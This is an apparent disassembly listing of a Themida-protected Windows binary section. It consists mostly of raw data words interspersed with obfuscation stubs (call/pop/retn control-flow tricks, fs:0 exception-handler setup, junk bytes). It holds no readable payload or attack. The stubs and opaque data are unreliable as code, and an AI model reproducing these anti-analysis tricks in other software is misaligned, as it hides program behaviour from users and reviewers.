		dd 1FF19D8Bh, 858B060Eh, 60E1435h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 98C35040h, 0ADD2643Ah, 8065F30Fh
		dd 68925C7h, 0D09000BBh, 0F9858B43h, 6A060E17h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 115C355h, 46896675h,	6696F904h, 50118BBBh, 7E960h, 8C7D0000h
		dd 0D39A04BFh, 61F88B55h, 52006A96h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0B91D149Ah
		dd 0BD1F2D54h, 11E86880h, 0F7000000h, 288310D1h, 8B917B3Ch
		dd 1FBFCD4Eh, 5BB1BF1Fh, 2709BDBBh, 0B5FF5B54h,	611A073h
		dd 32099D8Bh, 3768060Eh, 600DDB21h, 0BA665250h,	310FC379h
		dd 585A6160h, 24348161h, 0DC422C8h, 23D9BD29h, 858D060Eh
		dd 611A07Bh, 89F88B50h,	6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 7EBC3CC3h, 295F566Eh
		dd 0E2CED8Dh, 9958906h,	0FF060E0Bh, 0E0ED595h, 71958906h
		dd 61060E0Ah, 85C791B7h, 60E28D9h, 3, 0BD83F88Bh, 611A07Bh
		dd 58840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0C1A3C352h,	0E3388A2Dh
		dd 660F947Ah, 0A89EC381h, 45E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0AC66D37Dh
		dd 0CBBA4332h, 8050CD26h, 505FA3F3h, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 8166C08Bh, 0E89A96F3h
		dd 0Ch,	1042712Fh, 4A351AAh, 72845DBEh,	8D9BD89h, 0F95B060Eh
		dd 28D9BD83h, 0F03060Eh, 3EE85h, 9589F900h, 60E32C9h, 0A07BBD83h
		dd 0F000611h, 3DA84h, 8E800h, 0E7EE0000h, 617763D9h, 0FF5BAE1Ch
		dd 11A07BB5h, 58D0F06h,	0BB000000h, 630F0D0h, 8D595FFh
		dd 6A060Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 193634C3h, 30499D8Bh, 0B58B060Eh,	611A06Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 59C35040h
		dd 0BD8BDB8Ch, 60E0C1Dh, 106C7h, 0BD8B0001h, 60E038Dh
		dd 12E950h, 86030000h, 1FF9FF6Fh, 0C6C5F8A9h, 3DE431D1h
		dd 213E4135h, 66243489h, 0F53F88Bh, 684h, 2DBD8B00h, 5F060E31h
		dd 0A07BB5FFh, 6A0611h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 821518C3h, 747AC333h, 10E9h, 66681C00h
		dd 87DFB1FBh, 6610CED7h, 7E98C993h, 6D9D8B12h, 0FF060E0Ah
		dd 0E101995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0C1F3AB69h, 8BD88B66h, 11A06FB5h
		dd 0CE906h, 363D0000h, 918A7CB0h, 4206BAA4h, 858B899Fh
		dd 60E00A9h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ah,	0E3C35242h, 38FDEC8Eh, 8B57CD2Ch, 86895FDFh, 0C4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 69C35040h
		dd 8860FD9h, 60000000h,	870Fh, 89610000h, 0E300995h, 0C5958B06h
		dd 66060E2Fh, 830E94BFh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 175FAC3h, 89403BD5h
		dd 0E029DBDh, 20508906h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 6FC35141h, 92F366F0h,	8BE9256Bh, 1C858DF9h
		dd 6A0611B4h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h
		dd 3139C350h, 8F0F665Ch, 2, 0BF0FDE8Bh,	0B88689FFh, 29000000h
		dd 0E0DB58Dh, 81006A06h, 0E0F012E3h, 7BB5FF30h,	8B0611A0h
		dd 0E17659Dh, 4995FF06h, 0F5060E1Eh, 7E960h, 8EC10000h
		dd 0E0555742h, 85958B77h, 61060E22h, 24348950h,	0A07BB5FFh
		dd 0B5890611h, 60E0301h, 16D195FFh, 0E780060Eh,	0D5BD830Fh
		dd 60E30h, 74840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 621142C3h, 0E304F663h
		dd 0BD89BC66h, 60E3105h, 52505250h, 936462BFh, 0E9310F49h
		dd 0Fh,	0F22DF9DDh, 249CB630h, 0A84B5B4h, 5A10B0DAh, 34895F58h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 3B4C0ACEh, 111CB279h, 0B5FF1BF4h, 611A07Bh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 2DC35242h
		dd 0A384EC47h, 0A23BBF49h, 0B17026BBh, 8195FF0Bh, 6A060E29h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 5C6BC357h, 0AE9h,	0ED096800h, 6190B6CCh
		dd 0FFF29EC7h, 11A07BB5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 31281E1Bh
		dd 0FFA7459Dh, 0E1ABD95h, 0D5BD8306h, 2060E29h,	1E840Fh
		dd 8D890000h, 60E1A0Dh,	8BFFB70Fh, 0E07D185h, 38A0F06h
		dd 66000000h, 0C6DA8Bh,	0FB8B6600h, 351585C7h, 60Eh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F5139C3h, 281h, 0E9D98A00h,	0FFFFF44Eh, 0E5E78166h
		dd 6AC18B35h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 0E7E1C351h, 63952812h,	459D2353h
		dd 8B060E09h, 0E2E21BDh, 0F98B6606h, 19C1858Dh,	6A060Eh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 5A769C3h, 0D144A311h, 8AD8BDA7h, 68A0FD9h, 81000000h
		dd 8EFD14CBh, 2BBB5012h, 89439DA3h, 6A2404h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0CF2A27C3h
		dd 0F7FCEAFCh, 91BD3321h, 8B060E20h, 0E2E299Dh,	6A006A06h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0D37DC353h, 0BB66006Ah, 516047E5h, 130D858Bh
		dd 505B060Eh, 8D6159F5h, 1319FA85h, 68A0F06h, 29000000h
		dd 0E1AA59Dh, 5C08306h,	1DCDBD8Bh, 5090060Eh, 0FE8h, 1EB1D800h
		dd 6FA537E6h, 8E32D924h, 0A217C12Dh, 5E860h, 8C450000h
		dd 596057E7h, 5B61C3B0h, 95016090h, 60E1DCDh, 0AE856h
		dd 221E0000h, 6BB50593h, 80F0F996h, 6A615E5Ah, 0F98B6600h
		dd 8166006Ah, 0FF9F23DBh, 0E2FE195h, 0BBC78106h, 8B3F46E6h
		dd 0E0BC19Dh, 4B8D8D06h, 29061192h, 0E0B398Dh, 6AD1FF06h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1B042444h
		dd 46000000h, 52F1C356h, 0F4121BAAh, 8531CE02h,	60E0B51h
		dd 0A219D89h, 0BD83060Eh, 60E0D79h, 0A3850F01h,	66000000h
		dd 6AC99FBBh, 52006A02h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0EFFE41F5h, 6E86D014h, 29719D8Bh
		dd 11E8060Eh, 0D3000000h, 46D35D07h, 7C801190h,	8BD577Ah
		dd 3DCE3AFAh, 830Fh, 905F0000h,	11E8h, 91B20C00h, 40CAC4FCh
		dd 0DAFF7A54h, 9FBAAF13h, 0D98BBBB1h, 0F90505Fh, 68Ah
		dd 858D8900h, 0FF060E22h, 0E1E4995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 138C91A2h
		dd 0B95CB2B9h, 2E619589h, 0EBE9060Eh, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 6131A04h
		push	0
		push	ebp
		call	sub_59B012
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B012	proc near		; CODE XREF: Themida_:0059B00Ap

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Dh
		inc	ebp
		push	ebp
		retn
sub_59B012	endp

; ---------------------------------------------------------------------------
		dw 417Eh
		dd 0D339A5B1h, 0A3C76CE2h, 24F38166h, 0BE95156h, 0AB000000h
		dd 0AD292D26h, 0C4E6894h, 6A5FFF14h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FFDC355h
		dd 858DD8B7h, 6118405h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 2BC35040h, 13E9D5h, 93990000h, 995C92AAh
		dd 0EDF2B8E1h, 5EE64707h, 5BC109A4h, 6E928h, 85B10000h
		dd 0FBBDF06Ch, 8C36BF90h, 56500AD5h, 68A0Fh, 800F0000h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		nop
		mov	bx, si
		push	large dword ptr	fs:0
		jge	loc_59B0E4
		push	edx
		jmp	loc_59B0E3
; ---------------------------------------------------------------------------
		dd 0ADB7D736h, 0AEB4A762h, 79BC2D8Bh
		db 7Dh,	0D1h, 5Eh
; ---------------------------------------------------------------------------


loc_59B0E3:				; CODE XREF: Themida_:0059B0CFj
		pop	ebx


loc_59B0E4:				; CODE XREF: Themida_:0059B0C8j
		jp	loc_59B0F0
		mov	ebx, [ebp+60E0451h]


loc_59B0F0:				; CODE XREF: Themida_:loc_59B0E4j
		mov	large fs:0, esp
		movzx	ebx, ax
		inc	dword ptr [ebp+60E1475h]
		push	0
		push	ebx
		call	sub_59B10B
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B10B	proc near		; CODE XREF: Themida_:0059B103p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_59B10B	endp

; ---------------------------------------------------------------------------
		or	ecx, [ebx]
		mov	[ebp+60E20A9h],	eax
		push	0FFFFFFFFh
		jmp	loc_59B13B
; ---------------------------------------------------------------------------
		dw 4FF6h
		dd 95A243DAh, 3B3EFBB5h, 0C41C5753h
		db 0EAh, 0F4h, 5Ah
; ---------------------------------------------------------------------------


loc_59B13B:				; CODE XREF: Themida_:0059B125j
		push	dword ptr [ebp+60E1A65h]
		push	0
		push	eax
		call	sub_59B14C
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59B14C	proc near		; CODE XREF: Themida_:0059B144p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_59B14C	endp

; ---------------------------------------------------------------------------
		dd 0CD8D89D4h, 0FF060E08h, 0E2F8195h, 0FBE906h,	0BB660000h
		dd 0B02DCFh, 70E6FA8Bh,	0DF8071E4h, 0F613CC9h, 0E483h
		dd 0B05EBB00h, 0B60F799Bh, 55BD2BC8h, 0BA060E23h, 6, 7E9h
		dd 0D62F3600h, 0A28FBF3Dh, 0DF8BC18Bh, 8004E8C1h, 0F76682F3h
		dd 958D09E2h, 2B060E00h, 14E8C8h, 0BBB10000h, 28AB30DDh
		dd 20F8DE34h, 226D46C6h, 97D33C40h, 0FA8BF285h,	0FD18B5Fh
		dd 583h, 6CE0BB00h, 0FC8A44EDh,	80E9h, 11E900h,	8FBD0000h
		dd 3CD8BFB0h, 49EC7A0Bh, 0ACDEC0D2h, 8B8D120Ah,	4E4985h
		dd 7C08344h, 0C083DE8Bh, 0DEB70F00h, 830FD03Bh,	17h, 619589h
		dd 46E9060Eh, 0F000000h, 68Eh, 6D8D0900h, 8B060E1Dh, 0FFFFFF8Dh
		dd 0FD381FFh, 832F89FEh, 840F01E1h, 25h, 0ED9D3350h, 5B060E1Fh
		dd 0FFFFA583h, 80FEFFFFh, 958921F3h, 44004E49h,	2890Fh
		dd 12B70000h, 0E9h, 0B1B58D00h,	6A06129Bh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 0FDD5C356h
		dd 0CFBBD9A7h, 6A7C7033h, 95FFFC00h, 60E0F45h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FC35545h, 0AAABFA7Bh
		dd 0E1AB9FAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1D0424h, 57470000h, 0A6C8AFC3h, 34418B22h, 0BB26601h
		dd 0E1D2DBDh, 0FCE18306h, 3810Fh, 8B660000h, 0FE8B66FBh
		dd 57006AFCh, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 4703BC4Fh, 0B77EB792h, 0B8FC7Ah,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0FDBCC353h, 0FE6864C8h, 77B20230h, 0AE9h
		dd 870CAF00h, 0BDB1C93Ah, 8BF020F2h, 0BAF8h, 0BB660000h
		dd 33AD337Fh, 3E8D1C2h,	4E983D0h, 8D31F475h, 60E2C45h
		dd 1F319D8Bh, 0EE9060Eh, 31000000h, 4675E10Ch, 0CD39C7D2h
		dd 0D4A7C270h, 880D1Dh,	0B70F0000h, 0C5958BFEh,	6A060E2Fh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0F6A8C356h, 0CD298D23h, 0CD3D6C60h, 9958960h
		dd 66060E34h, 0F61D68Bh, 8D8BDBB7h, 60E0881h, 0DE9h, 0E8346200h
		dd 3FB310A1h, 411276D7h, 8B50FBFDh, 3188BC2h, 8B188BC1h
		dd 3E8D1C1h, 58188BC2h,	16F19D23h, 850F060Eh, 6, 9458589h
		dd 9D8B060Eh, 60E0865h,	0C6DBD83h, 0F00060Eh, 1B84h, 6810F00h
		dd 89000000h, 0E16BDB5h, 0B806h, 0F98B0000h, 4DD18D8Dh
		dd 0E1FF060Eh, 28D9BD83h, 0F00060Eh, 4F084h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 82423B1Fh, 0BD8BC2EAh, 60E2D35h, 28D9BD83h, 0F01060Eh
		dd 4D784h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1904h, 0C3514100h, 56B77ADCh, 0BD83D606h, 60E28D9h
		dd 73860F03h, 6A000004h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 5DEAC355h, 60F98018h
		dd 0FCDA8B66h, 8BD98C66h, 0E2275BDh, 4E18006h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 56C35646h, 9501AAE9h
		dd 60E0EBDh, 840FC90Ah,	1E6h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 3BC35545h, 0D810C084h, 48F0F07h
		dd 66000000h, 8BE078BFh, 0E17F985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 930C5B65h
		dd 1D85334Fh, 6A060E1Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 9BA2C350h, 953B28D8h
		dd 7E9h, 97385E00h, 8CD45890h, 22959D23h, 8A90060Eh, 0EE950DAh
		dd 67000000h, 0DB30AD4Dh, 0B45155DEh, 22B52220h, 8E0F90F8h
		dd 1, 51006AFCh, 685FC0B3h, 387A420Ch, 8A0F5250h, 5, 641A54BBh
		dd 50310F67h, 0BE852h, 5AE90000h, 0CD03222Eh, 78AB6022h
		dd 310F5BB5h, 0BE9h, 57496B00h,	14D7ED82h, 1D5EB118h, 585A585Ah
		dd 0F3243481h, 6A386541h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 0C329C352h,	2ECDBD8Bh
		dd 0BD29060Eh, 60E0DD9h, 0ED595FFh, 6A060Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 4E48F0C3h
		dd 0E8F0FACh, 60000000h, 141D9589h, 0DE81060Eh,	7606D621h
		dd 6860F61h, 8B000000h,	0E23C1BDh, 7B858906h, 6A0611A0h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 15042444h
		dd 47000000h, 0FE70C357h, 5890Fh, 81BB0000h, 0F42FD07h
		dd 0E0E9FEBFh, 6A000001h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 7982C350h, 6060F68Bh
		dd 0AE8h, 0DC0B2E00h, 8F6EE9F2h, 5B81DFDBh, 5DBD8961h
		dd 61060E0Ah, 11E9h, 9F59AD00h,	0BD349D06h, 9511FF97h
		dd 0CC864EE2h, 858B1881h, 611A073h, 0C7FE8Bh, 18h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 46C35343h, 0D059949Ch
		dd 0BE10A15h, 459D8BA9h, 81060E2Dh, 0E63A9EBh, 77B58B50h
		dd 8B0611A0h, 0E1D019Dh, 35858B06h, 6A060E14h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 6190C356h, 43F29EC7h, 8B0689FAh, 0E17F985h, 9D896006h
		dd 60E1B55h, 4468961h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 52C35747h, 9EB0C849h,	0A099D8Bh, 0F96060Eh
		dd 585h, 0D2D2BB00h, 56504641h,	5E8h, 0A5F1C00h, 6160F7A3h
		dd 51965F5Fh, 1911BD29h, 0FF5F060Eh, 11A073B5h,	68F88B06h
		dd 6F030E41h, 51525060h, 0E8310F58h, 14h, 3057F702h, 26D94025h
		dd 0B5339C73h, 0A4B4529h, 6FB5A1C7h, 0B3585A58h, 3481618Eh
		dd 1C0DBE24h, 53006A6Fh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 39C401A2h, 9589F19Ch, 60E1E29h, 0A07B858Dh
		dd 0BF0F0611h, 666090DEh, 0B6B740B8h, 0B350613Fh, 6A90F8h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 900DABC3h, 0D595FF5Eh, 6A060E0Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0EF61C353h
		dd 139038D1h, 611A5A3Dh, 1954E381h, 85C75243h, 60E28D9h
		dd 3, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 15h
		dd 67C35141h, 9DBD8B6Bh, 0E9060E00h, 8,	28DD631Fh, 0EC737686h
		dd 0A07BBD83h, 0F000611h, 5184h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 485BA135h
		dd 9829FE73h, 28FD8D89h, 9D8B060Eh, 60E07F9h, 38E9h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 3050D7EFh, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1404h
		dd 0C3534300h, 0F5BD8B87h, 89060E24h, 0E22359Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1504h, 0C3574700h
		dd 8B0F08E6h, 5, 1CD78166h, 0D9BD833Fh,	3060E28h, 3CC850Fh
		dd 0F3810000h, 3AFF4245h, 0A07BBD83h, 0F000611h, 3B984h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 0D15AFA28h, 8B3CBFDh, 13E98D80h,	3B000000h
		dd 0AC0F0023h, 0FA9DC425h, 5478947Dh, 0E79C6712h, 0FE9DB67h
		dd 0D7000000h, 6AA911ABh, 5C4687E8h, 112CDC8Dh,	0B5FF3AA4h
		dd 611A07Bh, 6850Fh, 85890000h,	60E21BDh, 8D595FFh, 6A060Eh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
		dd 8CE5AAC3h, 8166CC07h, 8BC09BDBh, 11A06FB5h, 0DABF0F06h
		dd 106C7h, 6A0001h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 66CE32C3h, 0CB9CDB81h, 870F5296h
		dd 2, 505B5F56h, 0E04CBF66h, 52006A96h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 1535A932h
		dd 0FFBDFADDh, 11A07BB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 8B41AB27h
		dd 1995FFD9h, 8B060E10h, 6FB58BF8h, 0BF0611A0h,	0CED6EDCh
		dd 0A9858Bh, 0BD89060Eh, 60E2D3Dh, 74ECEB81h, 868944DEh
		dd 0C4h, 1A39BD8Bh, 958B060Eh, 60E2FC5h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 2DC35747h, 5CDF407Bh
		dd 0AB36A654h, 6A04C283h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0F40FC352h,	0A9D228E9h
		dd 20508915h, 0BD8B6052h, 60E0309h, 5F616160h, 0B41C858Dh
		dd 0CB810611h, 59564E50h, 0B88689h, 9D8B0000h, 60E30A1h
		dd 0FE8B006Ah, 0B5FFDA8Bh, 611A07Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 75C35242h, 0F578460h, 158Fh
		dd 10E900h, 0CE850000h,	2386FF56h, 0D630F9Dh, 0D4BF5C38h
		dd 0BD89A615h, 60E01CDh, 1E4995FFh, 0BB66060Eh,	0E85065A5h
		dd 0Dh,	0D0DBB27Eh, 2BEF9BE7h, 0E73D4E3Bh, 5FDE8BBEh, 8B243489h
		dd 7BB5FFFEh, 0F0611A0h, 683h, 4D9D8900h, 0FF060E19h, 0E16D195h
		dd 0ADB58906h, 83060E34h, 0E30D5BDh, 840F0006h,	51h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 47C35545h, 14E84AEDh
		dd 23000000h, 83D1E884h, 8B2CCE7Bh, 0D392EBDBh,	46120D6Dh
		dd 8969DB71h, 0E0B4D85h, 0F505F06h, 48Eh, 0C8BB6600h, 243489C6h
		dd 0E2DB8166h, 7BB5FF83h, 600611A0h, 0CA5B589h,	858B060Eh
		dd 60E0381h, 8195FF61h,	0F060E29h, 0B5FFDFBFh, 611A07Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 37C35040h
		dd 0AD8528E2h, 49F27C38h, 20F38028h, 0B18D0B60h, 31060E31h
		dd 0E00B99Dh, 95FF6106h, 60E1ABDh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0E9C35646h,	8A60B12Ah, 0CF8B66FAh
		dd 0D5BD8361h, 2060E29h, 4A840Fh, 14E90000h, 9C000000h
		dd 4DAD58DFh, 29181CEBh, 48AEF3A2h, 0DA354CACh,	8B583351h
		dd 0E07D185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 91BD8BA7h, 0C6060E0Ch, 0BD890000h
		dd 60E1685h, 351585C7h,	60Eh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 450F0FC3h
		dd 0C93C36D1h, 0B70F51D3h, 84E95FFEh, 6AFFFFF3h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 8996C355h, 71C3C0CDh, 0C18BB28Eh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0B2C35242h,	0E01D056Bh, 858D81AFh
		dd 60E19C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0C4C35242h, 12E950h, 468E0000h,	6E5E50E5h, 0FC558B76h
		dd 3216F28h, 0E7919FDAh, 6A240489h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 0D2D0C356h
		dd 75858961h, 6A060E2Ah, 0FA8B6600h, 8A98D89h, 6A060Eh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 27C35040h
		dd 0C5758679h, 8D014AF1h, 60E2EADh, 0DA8B6656h,	24858D5Bh
		dd 0F06132Ah, 0C083DAB7h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 0B4E61DDBh
		dd 6690ECB3h, 506563BFh, 90FB8B66h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 11C35242h, 8166006Ah, 0F5EB5F7h
		dd 688h, 0B5BD0100h, 6A060E0Dh,	51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8589F4B3h
		dd 60E2999h, 2FE195FFh,	6A060Eh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1C0424h, 50400000h, 467390C3h, 206D6CB0h
		dd 8D89B025h, 60E1629h,	924B8D8Dh, 8D890611h, 60E031Dh
		dd 0B70FD1FFh, 7E9F9h, 78860000h, 66E6EC6h, 79BD83BEh
		dd 1060E0Dh, 0BA850Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0BF0F5EC3h, 0D8D0FFEh
		dd 0E9000000h, 8, 0CB6A0AB4h, 0E9CCEE76h, 6A026Ah, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 81BF76C3h, 5057DDB9h, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 1F3EC350h
		dd 0A39A3484h, 0C2D7DB87h, 8FD9589h, 8C0F060Eh,	6, 4B9B589h
		dd 95FF060Eh, 60E1E49h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 5C35747h, 9D890232h, 60E0C35h, 0E65E9h
		dd 0E800h, 815D0000h, 132A2EEDh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 44A4EBB5h
		dd 8589E980h, 60E13B1h,	0A9B58B60h, 8B060E2Ah, 0E18419Dh
		dd 6A6106h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 66F9C4C3h, 8DBA397Ah, 11840585h, 0FA8A5006h
		dd 29240489h, 0E17199Dh, 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	esi
		call	sub_59C0AB
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C0AB	proc near		; CODE XREF: Themida_:0059C0A3p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_59C0AB	endp

; ---------------------------------------------------------------------------
		db 0ECh
		dd 9E836h, 0E8AC0000h, 304E84E9h, 0E8681F32h, 11h, 307FC7B8h
		dd 24EF4E9Dh, 0DCDFC059h, 0A99E8C06h, 0CD852909h, 5B060E18h
		dd 2589645Bh, 0
; ---------------------------------------------------------------------------
		mov	edi, 65F60AA2h
		inc	dword ptr [ebp+60E1475h]
		jmp	loc_59C10C
; ---------------------------------------------------------------------------
		dd 1DEDC057h, 2EDE7298h, 2DFBB2DEh
; ---------------------------------------------------------------------------


loc_59C10C:				; CODE XREF: Themida_:0059C0FBj
					; Themida_:0059CE69j
		push	0FFFFFFFFh
		push	0
		push	edx
		call	sub_59C119
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_59C119	proc near		; CODE XREF: Themida_:0059C111p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_59C119	endp

; ---------------------------------------------------------------------------
		db 0F9h, 0A6h, 41h
		dd 0D2DB6409h, 0B5FFF04Ah, 60E1915h, 0BE8h, 27F7D200h
		dd 1164CF02h, 0B7C0C10Ch, 2EB9BD8Bh, 665B060Eh,	95FFDE8Bh
